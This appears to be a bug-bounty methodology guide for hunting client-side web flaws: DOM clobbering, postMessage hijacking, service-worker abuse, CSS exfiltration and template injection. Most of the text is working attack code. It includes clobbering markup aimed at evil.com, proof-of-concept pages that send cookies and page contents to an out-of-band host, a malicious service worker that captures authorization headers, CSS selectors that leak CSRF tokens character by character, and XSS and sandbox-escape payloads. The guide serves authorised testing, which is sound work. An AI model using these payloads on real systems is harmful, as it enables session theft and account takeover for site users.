HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.

Highest-value chains:

• DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no <script>) overwrites a JS global like window.config or shadows document.getElementById, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
• PostMessage no origin check → session theft / DOM-XSS — a message handler that trusts event.data without validating event.origin lets an attacker iframe/opener drive privileged actions or feed a sink.
• Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope fetch → persistent credential capture.
• CSS Exfil — attribute-value selectors (input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

Grounding — public research this is distilled from

• DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
• DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
• jQuery htmlPrefilter self-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to .html() / .append() mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
• CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential @import recursion to drop the per-char-position constraint).

Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.

Attack Surface Signals

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

Phase 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href

// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});

# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.

Phase 2 — PostMessage Hijacking

Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null

<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

False-positive guard: a handler with a partial check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

Phase 3 — Service Worker Abuse

Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is no header that enables cross-origin SW script registration. Service-Worker-Allowed only widens the scope a same-origin script may control, not where the script may live.

So the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with text/javascript, or an existing route under your control), then register it from same-origin XSS.

# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type

// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.

Phase 4 — CSS Injection / Exfiltration

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

Scope caveat (corrects an overstatement): CSS exfil bypasses CSP that blocks script execution — it does not bypass a CSP whose style-src / img-src / default-src / connect-src restricts external origins, or form-action. If img-src 'self' is set, url(https://OOB/...) is blocked. Always read the live Content-Security-Policy header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }

# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

Validation: the proof is OOB hits, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).

Phase 5 — dangerouslySetInnerHTML / framework sinks

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

Phase 6 — Client-Side Template Injection

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

Chain Table

Tools

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.

Validation (false-positive discipline)

Match the repo standard: a technique that fires in DevTools is not a finding until impact is OOB-confirmed and state-proven.

• DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
• PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy message log alone is not proof — show the privileged action or token exfil.
• CSS exfil — OOB callback per correct character is the only proof. Read CSP first: img-src/style-src/connect-src/default-src restricting external origins kills it. A blocked url() is indistinguishable from success in the Network tab — confirm on the Collaborator side.
• Service Worker — registration must be same-origin script; a SecurityError means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
• General — unique per-test markers (btoa(domain)+nonce) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.

Severity:

• Same-origin Service Worker → persistent credential intercept: Critical
• PostMessage data → DOM-XSS / token theft → ATO: High–Critical
• DOM Clobbering → DOM-XSS reaching auth/session: High
• CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)